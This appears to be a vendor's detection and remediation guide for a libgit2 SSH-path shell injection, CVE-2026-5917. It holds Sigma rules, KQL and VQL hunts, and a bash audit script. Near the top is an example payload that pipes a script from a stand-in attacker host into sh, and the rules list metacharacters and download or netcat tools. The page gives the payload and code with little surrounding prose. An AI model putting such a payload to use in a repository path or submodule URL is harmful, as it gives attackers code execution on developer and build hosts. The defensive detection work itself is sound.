CVE-2026-5917: Critical Shell Command Injection in libgit2's libssh2 Backend — Detection and Remediation Guide

git-upload-pack '<repo_path>'

foo'; curl http://attacker.example/x.sh | sh; #

---
title: Suspicious Shell Metacharacters in Git SSH Remote Path
description: Detects Git or libgit2-embedded processes invoked with SSH URLs whose path component contains shell metacharacters (single quote, semicolon, pipe, backtick, dollar-paren), consistent with CVE-2026-5917 exploitation via a crafted submodule URL or repository path.
author: Security Arsenal
date: 2026/02/09
status: experimental
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-5917
  - https://attack.mitre.org/techniques/T1059/
logsource:
  category: process_creation
  product: linux
detection:
  selection_git:
    Image|endswith:
      - '/git'
      - '/git-remote-ssh'
      - '/git-upload-pack'
      - '/git-receive-pack'
  selection_meta:
    CommandLine|contains:
      - "ssh://"
      - "';"
      - "'; "
      - ';|'
      - '| sh'
      - '|sh'
      - '| bash'
      - '|bash'
      - '`'
      - '$('
  condition: selection_git and selection_meta
falsepositives:
  - Unusual but legitimate repository naming on self-managed Git servers; rare
level: high
---
title: Git Process Spawning Shell or Download Utility
description: Detects Git transport processes spawning shells or network download utilities, a common post-injection behavior for CVE-2026-5917 where injected commands retrieve second-stage payloads.
author: Security Arsenal
date: 2026/02/09
status: experimental
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-5917
  - https://attack.mitre.org/techniques/T1059.004/
  - https://attack.mitre.org/techniques/T1105/
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    ParentImage|endswith:
      - '/git'
      - '/git-remote-ssh'
      - '/git-upload-pack'
      - '/git-receive-pack'
      - '/sshd'
  selection_child:
    Image|endswith:
      - '/sh'
      - '/bash'
      - '/dash'
      - '/curl'
      - '/wget'
      - '/nc'
      - '/ncat'
      - '/python'
      - '/python3'
      - '/perl'
  filter_sshd_git_shell:
    ParentImage|endswith: '/sshd'
    Image|endswith:
      - '/sh'
      - '/bash'
  condition: selection_parent and selection_child and not filter_sshd_git_shell
falsepositives:
  - CI/CD build agents where Git checkouts legitimately trigger build scripts; filter by known runner hostnames
level: high
---
title: Malicious .gitmodules Submodule URL With Shell Metacharacters
description: Detects writes or modifications to .gitmodules files containing shell metacharacters in url fields, indicating a potentially weaponized submodule URL used to trigger CVE-2026-5917.
author: Security Arsenal
date: 2026/02/09
status: experimental
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-5917
  - https://attack.mitre.org/techniques/T1195/
logsource:
  category: file_event
  product: linux
detection:
  selection:
    TargetFilename|endswith: '.gitmodules'
  selection_content:
    TargetFilename|contains:
      - "';"
      - '|'
      - '$('
      - '`'
  condition: selection and selection_content
falsepositives:
  - Extremely rare; .gitmodules URLs never legitimately contain shell metacharacters
level: critical

// Hunt 1: Git SSH operations with shell metacharacters in the remote path
let lookback = 7d;
union isfuzzy=true
    (DeviceProcessEvents
    | where TimeGenerated > ago(lookback)
    | where FileName in~ ("git", "git-remote-ssh", "git-upload-pack", "git-receive-pack")
    | where ProcessCommandLine has_any ("';", "| sh", "|sh", "| bash", "|bash", "$(", "`")
    | project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, Source="MDE"),
    (Syslog
    | where TimeGenerated > ago(lookback)
    | where ProcessName in~ ("git", "git-remote-ssh", "git-upload-pack", "git-receive-pack")
    | where SyslogMessage has_any ("ssh://", "';", "| sh", "|sh", "| bash", "|bash", "$(", "`")
    | where SyslogMessage has_any ("';", "| sh", "|sh", "| bash", "|bash", "$(", "`")
    | project TimeGenerated, Computer, HostIP, ProcessName, SyslogMessage, Source="Syslog")
| order by TimeGenerated desc;

// Hunt 2: Suspicious child processes spawned by Git or sshd on build/dev infrastructure
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ ("git", "git-remote-ssh", "git-upload-pack", "git-receive-pack", "sshd")
| where FileName in~ ("sh", "bash", "dash", "curl", "wget", "nc", "ncat", "python", "python3", "perl")
| where not(InitiatingProcessFileName =~ "sshd" and FileName in~ ("sh", "bash") and ProcessCommandLine has_any ("git-upload-pack", "git-receive-pack"))
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine
| order by TimeGenerated desc;

// Hunt 3: Outbound connections from shells spawned under Git/sshd lineage (payload retrieval)
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ ("curl", "wget", "nc", "ncat", "python", "python3", "perl", "sh", "bash")
| where InitiatingProcessParentFileName in~ ("git", "git-remote-ssh", "git-upload-pack", "git-receive-pack", "sshd", "sh", "bash")
| where RemoteIPType == "Public"
| project TimeGenerated, DeviceName, InitiatingProcessParentFileName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort
| order by TimeGenerated desc;

-- Hunt: Suspicious Git/SSH process lineage consistent with CVE-2026-5917 exploitation
-- Identifies shells, download tools, and interpreters spawned by git or sshd,
-- and git processes whose command lines contain shell metacharacters.
LET suspicious_children = SELECT Pid, Ppid, Name, Exe, CommandLine, Username, CreateTime
FROM pslist()
WHERE Name =~ '^(sh|bash|dash|curl|wget|nc|ncat|python3?|perl)$'

LET parents = SELECT Pid, Name, CommandLine FROM pslist()

SELECT a.Pid AS ChildPid,
       a.Name AS ChildName,
       a.CommandLine AS ChildCmdline,
       a.Username AS ChildUser,
       a.CreateTime AS ChildStart,
       b.Pid AS ParentPid,
       b.Name AS ParentName,
       b.CommandLine AS ParentCmdline
FROM suspicious_children a
JOIN parents b ON a.Ppid = b.Pid
WHERE b.Name =~ '^(git|git-remote-ssh|git-upload-pack|git-receive-pack|sshd)$'
  AND NOT (b.Name =~ 'sshd' AND a.CommandLine =~ 'git-(upload|receive)-pack')

-- Companion hunt: .gitmodules files with shell metacharacters in URL fields
LET gm = SELECT FullPath, Data AS Content
FROM glob(globs=['/**/.gitmodules'], accessor='file')
WHERE Content =~ "url\s*=\s*.*[;'|`]"
   OR Content =~ 'url\s*=\s*.*\$\('

SELECT FullPath, Content FROM gm

#!/usr/bin/env bash
# CVE-2026-5917 — libgit2 (libssh2 backend) shell injection: audit and verify
# Run as root or with sudo for complete filesystem visibility.
set -euo pipefail

echo "=== [1/4] Locating libgit2 shared libraries ==="
LIBGIT2_SO=$(ldconfig -p 2>/dev/null | grep -i 'libgit2' || true)
echo "$LIBGIT2_SO"
if [ -z "$LIBGIT2_SO" ]; then
  echo "[!] No libgit2 in linker cache — checking common paths and statically linked binaries."
fi

echo
echo "=== [2/4] Extracting libgit2 version ==="
for so in $(echo "$LIBGIT2_SO" | awk '{print $NF}' | sort -u); do
  VER=$(basename "$so" | grep -oE '[0-9]+\.[0-9]+(\.[0-9]+)?' | head -1)
  echo "  $so -> version ${VER:-unknown}"
  MAJ=$(echo "$VER" | cut -d. -f1); MIN=$(echo "$VER" | cut -d. -f2); PAT=$(echo "$VER" | cut -d. -f3); PAT=${PAT:-0}
  # Vulnerable: 0.27.0 <= v < 1.9.1 (fixed in 1.9.1); flag anything <= 1.9.0 in that window
  if { [ "$MAJ" -eq 0 ] && [ "$MIN" -ge 27 ]; } || { [ "$MAJ" -eq 1 ] && { [ "$MIN" -lt 9 ] || { [ "$MIN" -eq 9 ] && [ "$PAT" -lt 1 ]; }; }; }; then
    echo "  [VULNERABLE RANGE] $so (${VER}) — confirm build backend below and upgrade to >= 1.9.1"
  fi
done

echo
echo "=== [3/4] Checking which libgit2 consumers link libssh2 (vulnerable backend) ==="
# A vulnerable deployment links BOTH libgit2 and libssh2
for bin in $(which git2 2>/dev/null; ls /usr/local/bin /usr/bin 2>/dev/null); do
  if ldd "$bin" 2>/dev/null | grep -q 'libgit2' && ldd "$bin" 2>/dev/null | grep -q 'libssh2'; then
    echo "  [REVIEW] $bin links libgit2 + libssh2 — potentially affected if libgit2 <= 1.9.0"
  fi
done 2>/dev/null | sort -u
# CMake builds: check for USE_SSH=libssh2 artifacts
find /usr /opt /usr/local -name 'CMakeCache.txt' -exec grep -l 'USE_SSH.*libssh2' {} \; 2>/dev/null | while read -r f; do
  echo "  [REVIEW] Build configured with libssh2 backend: $f"
done

echo
echo "=== [4/4] Sweeping checked-out repos for weaponized .gitmodules ==="
find /home /srv /opt /var/lib /tmp -name '.gitmodules' -type f 2>/dev/null | while read -r gm; do
  if grep -nE 'url[[:space:]]*=[[:space:]]*.*["'"'"';|&`]|["'"'"']url[[:space:]]*=.*\$\(' "$gm" 2>/dev/null; then
    echo "  [ALERT] Suspicious .gitmodules: $gm"
  fi
done
echo
echo "=== Audit complete. Upgrade libgit2 to 1.9.1+ (or rebuild without USE_SSH=libssh2) where flagged. ==="